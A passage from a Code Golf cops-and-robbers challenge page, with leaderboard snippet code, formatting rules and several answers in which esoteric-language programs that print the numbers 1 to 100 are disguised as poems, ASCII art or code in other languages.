sans-serif;}html,body{background:#002b36;color:#839496;width:100%;height:100%;}body>:not(.i):not(#loading){margin:5px;}#loading{background:rgb(64,64,64,0.8);position:fixed;top:0;left:0;width:100%;height:100%;display:table;z-index:100;}#loading-wrapper{display:table-cell;vertical-align:middle;text-align:center;font-size:20pt;color:#ddd;}#fullpage-msg,.warn{padding:5px 5px 5px 5px;margin:10px 0px;}@media (min-width:800px){#fullpage-msg{display:none;}}a{color:#268bd2;}code{font-family:monospace;font-size:16px;background:#073642;padding:1px 5px;white-space:pre;position:relative;}.clickable{cursor:pointer;}code:not(.full){max-height:38px;overflow:hidden;}code.clickable:not(.full):before{content:'';background:linear-gradient(transparent 20px,rgba(7,54,66,0.8) 32px,#002b36);position:absolute;top:0;left:0;width:100%;height:100%;}td,th{padding:5px;vertical-align:top;white-space:nowrap;text-align:left;}thead th,#stats-header{font-size:20pt;margin:10px 0;user-select:none;-ms-user-select:none;-moz-user-select:none;-webkit-user-select:none;cursor:pointer;}th{font-weight:bold;}path{fill:#839496;}thead:not(.hidden) .right-arrow,#stats-header:not(.hidden) .right-arrow,thead.hidden .down-arrow,#stats-header.hidden .down-arrow{visibility:hidden;}.hidden+tbody,.hidden+#stats,.template,.inactive{display:none;}small,code{display:block;}small,small a{font-size:8pt;}#stats-header{font-weight:bold;padding:6px;}.urgent{color:#dc322f;} ``` ``` <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script><script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.7.1/Chart.min.js"></script><script>!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(require("chart.js")):"function"==typeof define&&define.amd?define(["chart.js"],e):e(t.Chart)}(this,function(t){"use strict";var e=(t=t&&t.hasOwnProperty("default")?t.default:t).helpers,n={toTextLines:function(t){var n,a=[];for(t=[].concat(t);t.length;)"string"==typeof(n=t.pop())?a.unshift.apply(a,n.split("\n")):Array.isArray(n)?t.push.apply(t,n):e.isNullOrUndef(t)||a.unshift(""+n);return a},toFontString:function(t){return!t||e.isNullOrUndef(t.size)||e.isNullOrUndef(t.family)?null:(t.style?t.style+" ":"")+(t.weight?t.weight+" ":"")+t.size+"px "+t.family},textSize:function(t,e,n){var a,r=[].concat(e),i=r.length,o=t.font,l=0;for(t.font=n.string,a=0;a<i;++a)l=Math.max(t.measureText(r[a]).width,l);return t.font=o,{height:i*n.lineHeight,width:l}},parseFont:function(a){var r=t.defaults.global,i=e.valueOrDefault(a.size,r.defaultFontSize),o={family:e.valueOrDefault(a.family,r.defaultFontFamily),lineHeight:e.options.toLineHeight(a.lineHeight,i),size:i,style:e.valueOrDefault(a.style,r.defaultFontStyle),weight:e.valueOrDefault(a.weight,null),string:""};return o.string=n.toFontString(o),o},bound:function(t,e,n){return Math.max(t,Math.min(e,n))}};function a(t,e){var n=e.x,a=e.y;if(null===n)return{x:0,y:-1};if(null===a)return{x:1,y:0};var r=t.x-n,i=t.y-a,o=Math.sqrt(r*r+i*i);return{x:o?r/o:0,y:o?i/o:-1}}function r(t,e,n,a,r){switch(r){case"center":n=a=0;break;case"bottom":n=0,a=1;break;case"right":n=1,a=0;break;case"left":n=-1,a=0;break;case"top":n=0,a=-1;break;case"start":n=-n,a=-a;break;case"end":break;default:r*=Math.PI/180,n=Math.cos(r),a=Math.sin(r)}return{x:t,y:e,vx:n,vy:a}}var i={arc:function(t,e,n){var a,i=(t.startAngle+t.endAngle)/2,o=Math.cos(i),l=Math.sin(i),s=t.innerRadius,d=t.outerRadius;return a="start"===e?s:"end"===e?d:(s+d)/2,r(t.x+o*a,t.y+l*a,o,l,n)},point:function(t,e,n,i){var o=a(t,i),l=t.radius,s=0;return"start"===e?s=-l:"end"===e&&(s=l),r(t.x+o.x*s,t.y+o.y*s,o.x,o.y,n)},rect:function(t,e,n,i){var o=t.horizontal,l=Math.abs(t.base-(o?t.x:t.y)),s=o?Math.min(t.x,t.base):t.x,d=o?t.y:Math.min(t.y,t.base),u=a(t,i);return"center"===e?o?s+=l/2:d+=l/2:"start"!==e||o?"end"===e&&o&&(s+=l):d+=l,r(s,d,u.x,u.y,n)},fallback:function(t,e,n,i){var o=a(t,i);return r(t.x,t.y,o.x,o.y,n)}},o=t.helpers;var l=function(t,e){this._el=t,this._index=e,this._model=null};o.extend(l.prototype,{_modelize:function(e,a,r,l){var s,d=this._index,u=o.options.resolve,f=n.parseFont(u([r.font,{}],l,d));return{align:u([r.align,"center"],l,d),anchor:u([r.anchor,"center"],l,d),backgroundColor:u([r.backgroundColor,null],l,d),borderColor:u([r.borderColor,null],l,d),borderRadius:u([r.borderRadius,0],l,d),borderWidth:u([r.borderWidth,0],l,d),color:u([r.color,t.defaults.global.defaultFontColor],l,d),font:f,lines:a,offset:u([r.offset,0],l,d),opacity:u([r.opacity,1],l,d),origin:function(t){var e=t._model.horizontal,n=t._scale||e&&t._xScale||t._yScale;if(!n)return null;if(void 0!==n.xCenter&&void 0!==n.yCenter)return{x:n.xCenter,y:n.yCenter};var a=n.getBasePixel();return e?{x:a,y:null}:{x:null,y:a}}(this._el),padding:o.options.toPadding(u([r.padding,0],l,d)),positioner:(s=this._el,s instanceof t.elements.Arc?i.arc:s instanceof t.elements.Point?i.point:s instanceof t.elements.Rectangle?i.rect:i.fallback),rotation:u([r.rotation,0],l,d)*(Math.PI/180),size:n.textSize(e,a,f),textAlign:u([r.textAlign,"start"],l,d)}},update:function(t,e,a){var r,i,l,s=null,d=this._index;o.options.resolve([e.display,!0],a,d)&&(r=a.dataset.data[d],i=o.valueOrDefault(o.callback(e.formatter,[r,a]),r),s=(l=o.isNullOrUndef(i)?[]:n.toTextLines(i)).length?this._modelize(t,l,e,a):null),this._model=s},draw:function(t){var e,a,r,i,l,s,d,u,f,h,c,y,g,x,b=this._model;b&&b.opacity&&(r=b.size,i=b.padding,l=r.height,s=r.width,u=-l/2,e={frame:{x:(d=-s/2)-i.left,y:u-i.top,w:s+i.width,h:l+i.height},text:{x:d,y:u,w:s,h:l}},a=function(t,e,n){var a=e.positioner(t._view,e.anchor,e.align,e.origin),r=a.vx,i=a.vy;if(!r&&!i)return{x:a.x,y:a.y};var o=e.borderWidth||0,l=n.w+2*o,s=n.h+2*o,d=e.rotation,u=Math.abs(l/2*Math.cos(d))+Math.abs(s/2*Math.sin(d)),f=Math.abs(l/2*Math.sin(d))+Math.abs(s/2*Math.cos(d)),h=1/Math.max(Math.abs(r),Math.abs(i));return u*=r*h,f*=i*h,u+=e.offset*r,f+=e.offset*i,{x:a.x+u,y:a.y+f}}(this._el,b,e.frame),t.save(),t.globalAlpha=n.bound(0,b.opacity,1),t.translate(Math.round(a.x),Math.round(a.y)),t.rotate(b.rotation),f=t,h=e.frame,y=(c=b).backgroundColor,g=c.borderColor,x=c.borderWidth,(y||g&&x)&&(f.beginPath(),o.canvas.roundedRect(f,Math.round(h.x)-x/2,Math.round(h.y)-x/2,Math.round(h.w)+x,Math.round(h.h)+x,c.borderRadius),f.closePath(),y&&(f.fillStyle=y,f.fill()),g&&x&&(f.strokeStyle=g,f.lineWidth=x,f.lineJoin="miter",f.stroke())),function(t,e,n,a){var r,i,o,l=a.textAlign,s=a.font.lineHeight,d=a.color,u=e.length;if(u&&d)for(r=n.x,i=n.y+s/2,"center"===l?r+=n.w/2:"end"!==l&&"right"!==l||(r+=n.w),t.font=a.font.string,t.fillStyle=d,t.textAlign=l,t.textBaseline="middle",o=0;o<u;++o)t.fillText(e[o],Math.round(r),Math.round(i),Math.round(n.w)),i+=s}(t,b.lines,e.text,b),t.restore())}});var s=t.helpers,d={align:"center",anchor:"center",backgroundColor:null,borderColor:null,borderRadius:0,borderWidth:0,color:void 0,display:!0,font:{family:void 0,lineHeight:1.2,size:void 0,style:void 0,weight:null},offset:4,opacity:1,padding:{top:4,right:4,bottom:4,left:4},rotation:0,textAlign:"start",formatter:function(t){if(s.isNullOrUndef(t))return null;var e,n,a,r=t;if(s.isObject(t))if(s.isNullOrUndef(t.label))if(s.isNullOrUndef(t.r))for(r="",a=0,n=(e=Object.keys(t)).length;a<n;++a)r+=(0!==a?", ":"")+e[a]+": "+t[e[a]];else r=t.r;else r=t.label;return""+r}},u=t.helpers,f="$datalabels";t.defaults.global.plugins.datalabels=d,t.plugins.register({id:"datalabels",afterDatasetUpdate:function(t,e,n){var a,r,i,o,s,d=t.data.datasets[e.index],h=(a=n,!1===(r=d.datalabels)?null:(!0===r&&(r={}),u.merge({},[a,r]))),c=e.meta.data||[],y=c.length,g=t.ctx;for(g.save(),i=0;i<y;++i)(o=c[i])&&!o.hidden?(s=new l(o,i)).update(g,h,{chart:t,dataIndex:i,dataset:d,datasetIndex:e.index}):s=null,o[f]=s;g.restore()},afterDatasetDraw:function(t,e){var n,a,r=e.meta.data||[],i=r.length;for(n=0;n<i;++n)(a=r[n][f])&&a.draw(t.ctx)}})});</script><div id="loading"><span id="loading-wrapper">Loading...</span></div><div id="fullpage-msg"><svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 111.577 111.577"><path d="M78.962,99.536l-1.559,6.373c-4.677,1.846-8.413,3.251-11.195,4.217c-2.785,0.969-6.021,1.451-9.708,1.451c-5.662,0-10.066-1.387-13.207-4.142c-3.141-2.766-4.712-6.271-4.712-10.523c0-1.646,0.114-3.339,0.351-5.064c0.239-1.727,0.619-3.672,1.139-5.846l5.845-20.688c0.52-1.981,0.962-3.858,1.316-5.633c0.359-1.764,0.532-3.387,0.532-4.848c0-2.642-0.547-4.49-1.636-5.529c-1.089-1.036-3.167-1.562-6.252-1.562c-1.511,0-3.064,0.242-4.647,0.71c-1.59,0.47-2.949,0.924-4.09,1.346l1.563-6.378c3.829-1.559,7.489-2.894,10.99-4.002c3.501-1.111,6.809-1.667,9.938-1.667c5.623,0,9.962,1.359,13.009,4.077c3.047,2.72,4.57,6.246,4.57,10.591c0,0.899-0.1,2.483-0.315,4.747c-0.21,2.269-0.601,4.348-1.171,6.239l-5.82,20.605c-0.477,1.655-0.906,3.547-1.279,5.676c-0.385,2.115-0.569,3.731-0.569,4.815c0,2.736,0.61,4.604,1.833,5.597c1.232,0.993,3.354,1.487,6.368,1.487c1.415,0,3.025-0.251,4.814-0.744C76.854,100.348,78.155,99.915,78.962,99.536z M80.438,13.03c0,3.59-1.353,6.656-4.072,9.177c-2.712,2.53-5.98,3.796-9.803,3.796c-3.835,0-7.111-1.266-9.854-3.796c-2.738-2.522-4.11-5.587-4.11-9.177c0-3.583,1.372-6.654,4.11-9.207C59.447,1.274,62.729,0,66.563,0c3.822,0,7.091,1.277,9.803,3.823C79.087,6.376,80.438,9.448,80.438,13.03z"/></svg> Click the "Full page" link in the top right for vastly superior experience</div><div class="warn template">&#9888; <a href="https://codegolf.stackexchange.com/a/{id}">This answer</a> by {cop} is not formatted correctly ({reason}).</div><table><thead><tr><th colspan="5"><svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 9 9"><path class="right-arrow" d="M 0 0 L 0 9 L 9 4.5 Z"/><path class="down-arrow" d="M 0 0 L 9 0 L 4.5 9 Z"/></svg> Uncracked answers</th></tr></thead><tbody id="uncracked"><tr><th colspan="3" onclick="showAnswers(answersUncracked, 'uncracked', sortByCop)" class="clickable">Posted by</th><th onclick="showAnswers(answersUncracked, 'uncracked', sortBySize)" class="clickable">Size</th><th onclick="showAnswers(answersUncracked, 'uncracked', sortByTime)" class="clickable">Safe in</th><th>Code</th></tr><tr class="empty inactive"><th colspan="5">There are no uncracked answers</th></tr><tr class="template"><td colspan="3"><a href="https://codegolf.stackexchange.com/a/{cop_id}">{cop_user}</a></td><td>{size} bytes</td><td><span class="countdown" data-target="{safe_on}"></span></td><td><code>{code}</code></td></tr></tbody><thead><tr><th colspan="5"><svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 9 9"><path class="right-arrow" d="M 0 0 L 0 9 L 9 4.5 Z"/><path class="down-arrow" d="M 0 0 L 9 0 L 4.5 9 Z"/></svg> Cracked answers</th></tr></thead><tbody id="cracked"><tr><th onclick="showAnswers(answersCracked, 'cracked', sortByCop)" class="clickable">Posted by</th><th onclick="showAnswers(answersCracked, 'cracked', sortByRobber)" class="clickable">Cracked by</th><th onclick="showAnswers(answersCracked, 'cracked', sortByLanguage)" class="clickable">Language</th><th onclick="showAnswers(answersCracked, 'cracked', sortBySize)" class="clickable">Size</th><th onclick="showAnswers(answersCracked, 'cracked', sortByLiveTime)" class="clickable">Cracked after</th><th>Code</th></tr><tr class="empty inactive"><th colspan="5">There are no cracked answers</th></tr><tr class="template"><td><a href="https://codegolf.stackexchange.com/a/{cop_id}">{cop_user}</a></td><td><a href="https://codegolf.stackexchange.com/a/{robber_id}">{robber_user}</a></td><td>{language}</td><td>{size} bytes</td><td>{cracked_after_str}</td><td><code>{code}</code></td></tr></tbody><thead><tr><th colspan="5"><svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 9 9"><path class="right-arrow" d="M 0 0 L 0 9 L 9 4.5 Z"/><path class="down-arrow" d="M 0 0 L 9 0 L 4.5 9 Z"/></svg> Safe answers</th></tr></thead><tbody id="safe"><tr><th colspan="2" onclick="showAnswers(answersSafe, 'safe', sortByCop)" class="clickable">Posted by</th><th onclick="showAnswers(answersSafe, 'safe', sortByLanguage)" class="clickable">Language</th><th colspan="2" onclick="showAnswers(answersSafe, 'safe', sortBySize)" class="clickable">Size</th><th>Code</th></tr><tr class="empty inactive"><th colspan="5">There are no safe answers</th></tr><tr class="template"><td colspan="2"><a href="https://codegolf.stackexchange.com/a/{cop_id}">{cop_user}</a></td><td>{language}</td><td colspan="2">{size} bytes</td><td><code>{code}</code></td></tr></tbody></table><div id="stats-header"><svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 9 9"><path class="right-arrow" d="M 0 0 L 0 9 L 9 4.5 Z"/><path class="down-arrow" d="M 0 0 L 9 0 L 4.5 9 Z"/></svg> Statistics</div><div id="stats"><div><canvas id="robber-stats"/></div><div><canvas id="answer-stats"/></div></div><small>Snippet made by <a href="https://codegolf.stackexchange.com/u/55934/" target="_blank">NieDzejkob</a>, licensed as <a href="https://creativecommons.org/licenses/by-sa/3.0/" target="_blank">CC 3.0 BY-SA</a>. "Info" icon made by <a href="https://www.flaticon.com/authors/chanut" target="_blank">Chanut</a> from <a href="https://www.flaticon.com/" target="_blank">Flaticon</a>, licensed as <a href="http://creativecommons.org/licenses/by/3.0/" target="_blank">CC 3.0 BY</a>. "Arrow" icons made by <a href="https://codegolf.stackexchange.com/u/12012/" target="_blank">Dennis</a> for <a href="https://tio.run/" target="_blank">Try It Online</a>, licensed as <a href="https://github.com/TryItOnline/tryitonline/blob/master/LICENSE" target="_blank">MIT</a>. Some code shamelessly copy-pasted from <a href="https://stackoverflow.com/a/9609450">this answer</a> on Stack Overflow by <a href="https://stackoverflow.com/u/24950">Robert K</a>, licensed as <a href="https://creativecommons.org/licenses/by-sa/3.0/">CC 3.0 BY-SA</a>. This snippet utilises <a href="http://jquery.com/">jQuery</a> (<a href="https://github.com/jquery/jquery/blob/master/LICENSE.txt">MIT</a>), <a href="http://www.chartjs.org/">chart.js</a> (<a href="https://github.com/chartjs/Chart.js/blob/master/LICENSE.md">MIT</a>) and <a href="https://github.com/chartjs/chartjs-plugin-datalabels/">chartjs-plugin-datalabels</a> (<a href="https://github.com/chartjs/chartjs-plugin-datalabels/blob/master/LICENSE.md">MIT</a>). Color scheme: <a href="http://ethanschoonover.com/solarized">Solarized by Ethan Schoonover</a> (<a href="https://github.com/altercation/solarized/blob/master/LICENSE">MIT</a>).</small> ``` ### Formatting *(Feel free to skip this section if you're not planning to participate as a cop)* This is **required** for new cop answers to make it possible for the snippet above to parse them. * New answers should include a header like this: ``` # ???, [N] bytes ``` where `[N]` is the size of your code in bytes and `???` should appear literally. * If the answer is not cracked for 7 days and you want to make your answer safe by revealing the language, simply replace the `???` and add `safe` to the end, e.g. ``` # Ruby, [N] bytes, safe ``` Feel free to have the language name link to a relevant website like an esolangs page or a GitHub repository. The link will then be displayed in the leaderboard. * If another user successfully cracked your submission, please also add the language, along with a notice like ``` # Ruby, [N] bytes, [cracked](crack-link) by [user] ``` where `[user]` is the name of the user who submitted the first valid crack, and `crack-link` is a link to the corresponding answer in the Robbers' thread. Please use the short link format you get from the "share" button. Feel free to make the user name a link to their profile page. If the language used in the crack is different from the one you intended, your answer is still cracked, and you shall follow this format. However, you can mention in the answer that you intended it to be something else. It's your choice on whether you want to reveal the intended answer, or if you want to let Robbers have more fun. **Good luck Cops!** [Answer] # [Beatnik](https://esolangs.org/wiki/Beatnik), 114 bytes, [cracked](https://codegolf.stackexchange.com/a/155510/66833) by [Johannes Griebler](https://codegolf.stackexchange.com/users/78164/johannes-griebler) ``` Mit' tää kauniina kelaa? Mil tää öisin pelaa? Sun suu kauniina sanoo: Kroohhpyyh-ZZZ-ZZZZ Z Nukuttaapi kovin! ``` It's a poem in Finnish! And a program. It prints the numbers as bytes. English translation: ``` What does that beautiful think? What does it play at night? Your beautiful mouth says: (snoring) ZZZ ZZZ I feel very sleepy! ``` --- I'm surprised it took this long to crack this, especially as the another Beatnik submission was cracked quickly. This does not work with the Python interpreter (used in TIO) because of the way it handles special characters. It considers `Kroohhpyyh-ZZZ-ZZZZ` to be three different words, while it should be interpreted as one big. Use the C interpreter to run this. Explanation: ``` Mit' tää | Push 1 kauniina kelaa? | Duplicate and print Mil tää | Push 1 öisin | Nop pelaa? | Pop 2 and push their sum Sun suu | Nop kauniina | Duplicate sanoo: Kroohhpyyh-ZZZ-ZZZZ | Push 101 Z | Subtract Nukuttaapi kovin! | Jump 12 words backwards (to the first "kauniina") ``` [Answer] # [Hexagony](https://github.com/m-ender/hexagony), 62 bytes, [cracked](https://codegolf.stackexchange.com/a/155107/77759) by [totallyhuman](https://codegolf.stackexchange.com/users/68615/totallyhuman) ``` i=100 while(i>0){p(100-i+"d")!}i=%<>--1;if(_@==0){_@=-100}end; ``` Prints decimals separated by a single lowercase d. I'd be impressed if this works in any unintended language. Since this has already been cracked, here is the actually executed code: ``` i = 1 0 0 * equal to 105100, just has to be above 0 for the first number . . . . . . . . . . . . . . . . . . . . . " ) ! } i = % < > * prints the number and stops if i % 100 == 0 . . . . . . . _ @ . . . . . . . . . . . . } . . d ; * prints "d" and stores 100 in the memory edge ``` Everything else is a no-op, denoted by `.`. [Answer] # [8086](https://en.wikipedia.org/wiki/Intel_8086) [DOS](https://en.wikipedia.org/wiki/DOS) [COM](https://en.wikipedia.org/wiki/COM_file), 58 bytes, [cracked](https://codegolf.stackexchange.com/a/155096) by [tsh](https://codegolf.stackexchange.com/users/44718/tsh) ``` huCX5DBP^h~0_GG1<h32X542P[18F18h42X%AAP[h!.X%OOS`M a@<euws ``` I/O format: raw characters ## Explanation The basic program looks like this: ``` mov ax, 0x0e01 ; <b8><01><0e> xor bx, bx ; <31><db> _loop: pusha ; ` int 0x10 ; <cd><10> popa ; a inc al ; <fe><c0> cmp al, 101 ; <e jne _loop ; u<f6> ret ; <c3> ``` However, this variant uses many unprintable characters, which would be a big hint. Fortunately, some printable instructions include: ``` and ax, imm16 % xor [si], di 1< xor [si+bx], di 18 xor ax, imm16 5 inc r16 @ABCDEFG dec r16 HIJKLMNO push r16 PQRSTUVW pop r16 XYZ[\]^_ cmp al, imm8 < pusha ` popa a push imm16 h ``` First, to avoid the unprintable characters caused by `inc al`, I used `inc ax` instead, since an overflow is not expected. Then I found a way to initialize AX and BX at the beginning with just printable characters. ``` push 0x3234 ; h42 pop ax ; X and ax, 0x4141 ; %AA push ax ; P pop bx ; [ push 0x2e21 ; h!. pop ax ; X and ax, 0x4F4F ; %OO _loop: pusha ; ` int 0x10 ; <cd><10> popa ; a inc ax ; @ cmp al, 101 ; <e jne _loop ; u<f6> ret ; <c3> ``` Then, I employed self modifying code to fix the unprintables in `int 0x10`. That instruction in the final program resides at 0x0131, which is the value in SI these 5 instructions get me: ``` push 0x4375 ; huC pop ax ; X xor ax, 0x4244 ; 5DB push ax ; P pop si ; ^ ``` Then, I found the best way to get the value of 0x10cd (x86 is little endian) is to xor 0x3080 with 0x204d: ``` push 0x307e ; h~0 pop di ; _ inc di ; G inc di ; G xor [si], di ; 1 ; ... pusha ; ` dw 0x204d ; M<space> popa ; a ``` Then, I used the same XOR value two more times, on the two final bytes in the program. ``` push 0x3233 ; h32 pop ax ; X xor ax, 0x3234 ; 542 push ax ; P pop bx ; BX = 7 ; [ xor [si+bx], di ; 18 inc si ; F xor [si+bx], di ; 18 ; ... cmp al, 101 ; <e db 0x75 ; jnz ; u dw 0x7377 ``` First 0x7377 is xored with 0x3080 to get 0x43f7. Then 0x??43 (some garbage byte at 0x013a) ^ 0x3080 = 0x??c3, which sets the two final bytes to the correct values. [Answer] # [Sesos](https://github.com/DennisMitchell/sesos), 6 bytes, safe ``` }%*xg2 ``` Output is in decimal. [Try it online!](https://tio.run/##S0oszvj/PzU5I19BN09BvVZVqyLdSF3BTsHQwECvOCkzj0s/v6BEvzi1OL8YQoJk/v8HAA "Bash – Try It Online") Sesos can be written in either binary or assembly format. The assembly file that generated the binary file above follows. ``` set mask set numout fwd 1, add 44 nop fwd 1, add 1, put rwd 1, sub 3 jnz ``` [Try it online!](https://tio.run/##K04tzi/@/784tUQhN7E4mwvEyCvNzS8t4eJKK09RMNRRSExJUTAx4eLKyy/g4kQSA1IFQGWcRRCh4tIkBWOurLyq//8B "Sesos – Try It Online") It took some odd choices (a useless `fwd 1`, a `nop` that could have been a `jmp`, `add 44` and `sub 3` instead of `add 100` and `sub 1`), but I managed to create a binary file consisting solely of printable ASCII characters (so it wouldn't look like a binary file). [Answer] # [???](http://esolangs.org/wiki/%3F%3F%3F), 1167 bytes, [cracked](https://codegolf.stackexchange.com/a/155785/12012) by [Dennis](https://codegolf.stackexchange.com/users/12012/dennis) ``` The Man They Called Dennis (a song). Dennis: a extremely decent golfer. PPCG: a group of golfers. Act I: Chorus. [Enter Dennis] "Dennis; The man they call Dennis. He took inspiration from J and he made the lang Jelly. Stood up to the challenges and gave 'em what for. Our love for him now ain't hard to explain. The Hero of PPCG: the man they call Dennis." [Exeunt] Act 2: Verse 1 [Enter Dennis, PPCG.] Now Dennis saw PPCG's backs breakin'; He saw PPCG's lament..... And he saw that challenge takin' Every answer and leaving no votes So he said "You can't do this to my people; You can't let long language's answers win your challenges. And Dennis booted up TIO! - and in five seconds flat, FGITWed, all your challenges." [Exeunt] Act 2: Chorus - revised, since my program is ending soon [Enter Dennis] "He took inspiration from J and he made the lang Jelly Stood up to Python - and gave 'em what for Our love for him now ain't hard to explain The Hero of PPCG, the man they call Dennis (song slows with a dramatic high note finish)" [Exeunt] With thanks to Dennis for providing a character for this program, and Jayne Cobb for being the original Hero of Canton. ``` Honestly not sure how long this is going to last, but it was quite fun. [Answer] # MATL, 46 bytes, [cracked](https://codegolf.stackexchange.com/a/155236/31516) by [totallyhuman](https://codegolf.stackexchange.com/users/68615/totallyhuman) ``` Flatten[{1,100}] (* From x: 1 To 100: huhu% *) ``` I had fun trying to make this look somewhat like Mathematica, and trying to keep it fairly non-obvious. I only know two languages, so cracking it was probably not that hard. ### Explanation: ``` F % Push False (0) l % ones. Stack: 0, 1 a % any. Stack: 0, 1 tt % duplicate last element twice. Stack: 0, 1, 1, 1 e % Reshape, last element reshaped into 1 row/column % Stack: 0, 1, 1 n % numel of last element on stack. Stack: 0, 1, 1 [ % Opening bracket for creating array { % Opening bracket for creating cell array 1,100 % Push 1, 100 }] % Closing brackets. Stack: 0, 1, 1, 1, 100 ( % Assignment indexing. Put a 1 in the 100th place of the variable above % Stack: 0, [1, 0, ... (98 x 0) ... ,0 ,1] * % Multiply 0 by array. Stack: [0, 0, ... 0] F % Push False (0). Stack: [0, 0, ... 0], 0 r % Push random number. Stack: [0, 0, ... 0], 0, 0.2431 o % Convert last number to double. Stack unaltered. m % ismember. Stack: [0, 0, ... 0], 0 x % Delete last element on stack. Stack: [0, 0, ... 0] : % Range to 0. Stack is empty. 1 % Push 1 T % Push True (1) o % Convert to double. Stack: 1, 1 100 % Push 100. Stack: 1, 1, 100 : % Range to 100. Stack: 1, 1, [1, 2, 3 ... 100] huhu % Horizontal concatenation and unique twice. % Stack: [1, 2, 3 ... 100] % *) % Comment to complete the Mathematica syntax comment. ``` [Answer] # [Whitespace](https://esolangs.org/wiki/Whitespace), 369 bytes, [cracked](https://codegolf.stackexchange.com/a/155749/76162) by [Adyrem](https://codegolf.stackexchange.com/users/77759/adyrem) ``` def v(n=[]): #[ #!"⠖⠔⠄⠑⠃⡆⠊⡬⠀⠞⠈⠀ #;;; print(n*chr(33)) for n in range(100): # #" #"<<;?)*aanlll>1#<-#.:_:*aa@#.#!9fo" v(n) >d$/")!;\ xXxxxXXXxXXxX>({.< xx%c++=t=+~\ D.+L0~-tt/ ..R;MU ]+@x+++++++++[->++++++++++<]> [->+[->+>.<<]> [-<+>] <.< ] ~-<:<<<<:<||~[:?~-]| ``` This is a polyglot in at least 9 languages, but only one should work. Goooooood luck! Hint: > > The output format is unary > > > --- Welp. That was cracked fast. For reference, the 9 languages were: * Whitespace (the intended language: outputs in unary spaces separated by tabs) + This was intended to be both a fake red herring and ironic, as the output would be completely invisible. * Python (the clue: would work up to 99 `!`s, but fails due to `inconsistent use of tabs and spaces in indentation` ;) ) * Hexagony (prints the numbers separated by their character codes) * Befunge-98 (prints the 100 numbers backwards) * ><> (prints odd numbers starting from 10) * Cardinal (prints 1 through 99) * brainfuck (prints in unary separated by the character codes) * Wise (prints *negative* 1 through 100) * and Braille (prints character codes 1 through 99) [Answer] # [ETA](http://www.miketaylor.org.uk/tech/eta/doc/), 83 bytes, safe ``` n = "e"; is n equh one hundre- SNACK?! 0v0 _ M-< / \_/ HA|E SNAKE!!! >:( T ``` Another one that's more ASCII art than code (though this one should be harder to crack). Outputs in ASCII codepoints. --- [Try it online!](https://tio.run/##Sy1J/P8/T8FWQSlVyZors1ghTyG1sDRDIT8vVSGjNC@lKFWXK9jP0dnbXlHBoMyAS0FBIR6IfXVtgEx9hZh4fS4PxxpXBaAab1dFRUUFOysNoEzI//8A "ETA – Try It Online") ETA uses the 8 commands `ETAOINSH` (case-insensitive), and ignores everything else. The executing code here is: ``` ne isnehonehne SNA HAE SNAE T ``` Which means: ``` ne Push 0 to the stack is Increment the top value (get input, where EOF is -1, and subtract) neh Duplicate the current value o Output the character neh Duplicate the top value ne S No-op (push 0 and subtract) NA HAE Push 100 S Subtract 100 from the current value NAE Push 1 T Pop value and jump to line 1 if the value is not 0 ``` [Answer] # Curry PAKCS, 57 bytes, [cracked by Potato44](https://codegolf.stackexchange.com/a/155327/56656) ``` f[]="" f([x]++s)=show x++" "++f s main=putStr(f[1..100]) ``` Looks like Haskell but it doesn't run in Haskell. [Answer] # [Whirl](https://bigzaphod.github.io/Whirl/), 3905 bytes, [cracked](https://codegolf.stackexchange.com/a/155375/69655) by [Potato44](https://codegolf.stackexchange.com/users/69655/potato44) ``` +------------------------------------------------------------+ |111111111111111111111111111111111111111111111111 $\ | |000110011000111100011100100/010 0010 %p0-d% 0+{10000/111 | |111000100111110001001000011 / 1111000100111110001001 frick | |000 {01111110001(( 001111100010010000 1111110001()\ () ! | |001111100010010000111 111000100111 1100010010000111111000100| |111110001001(0000111)11100010011111!}000100100001111110001 | |0011111|_0001001000011111100010011111 000100100001111110 001| |001111100010010000111#1110001 001111100010010000111111000100| |11111 H) /!00010010000111 1/1 100/0100111110001001000 | | 011111100 & 01001111100010010000 111111000100111110001001| |@ 00001 11111000100111110 00100100001 111110 001001 111 | | 1000 1001000011 11110 00100111110001001000011111100010 the| |the 01111 100010010000111 111000 1001 111100010010 00011111 | |1000100JO 1111100 010010000111 += 11100010 011 11 KING | | 1000100100001 11111000100111110001 "0010000111111000100111 | |110001001000011 11110 00100127 : 1111000100100 001 1 | |11 11000100 11111000100100001111110001001111100010010000 | |11111100 a 01001111100010 010000111111 000100111 | | 1 1 0 0 0 1 0 0 1 0 0 0 0 1 1 1 1 1 1 0 0 0 1 0 0 1 1 1 1 1| |00 01 00 10 00 01 11 11 10 00 10 01 11 11 00 01 00 10 00 01 | | 111 110 001 001 111 100 010 010 000 111 111 000 100 111 110| |0010 0100 0011 1111 0001 0011 1110 0010 0100 0011 1111 0001 | | 00111 11000 10010 00011 11110 00100 11111 00010 01000 01111| |110001 001111 100010 010000 111111 000100 111110 001001 | | 0000111 1110001 0011111 0001001 0000111 1110001 0011111 | |00010010 00011111 10001001 11110001 00100001 11111000 | | 100111110 001001000 011111100 010011111 000100100 001111110| |0010011111 0001001000 0111111000 1001111100 0100100001 | | ^1111100010^ | |0 111110001001000011111100010011111000100100001111110001 | |0011111000100100001111110001001111100010010000111111000100 | | 111110001001000011111100010011111000100100001111110001001 | | 111100010010000111111000100111110001001000011111100010 | | 0111110001001000011111100010011111000100100001111110001 | |0011111000100100001111110001001111100010010000111111000100 | | 1111100010010000111111000100111110001001000011111100010011| |11100010010000 111111000100111110001001000011111100010011 | |11100010010 00011111100010011111000100100001111110001001 | |11110001+ 00100001111110' 001001111 10001001000011111100010 | | 011111000100100001 1111100 010011 11100010010 00011 | |1111JKL5 000100111110 0010010000 11111 1000 10011 | |111 J 6700010010000111111^& E 00010011 L 11100 L 0 Y? bin | |100[print()100001111110 -001001111100010010000111] 111000| |100 not 1111100 BRAIN010010000 FU1111 11000100CK 111110001 | | rk:start 0010 0001111110001001 1111 0001001000011111100 | |0100111110 dckx 001001 000011111 1000100111 11000100 help| |100001 111110001001111100010010000111111000 1001111100010010| |000-[111111000100??11111000100100001>1111100 {x=0-100}px | |111110001 00100001 11111000100111110 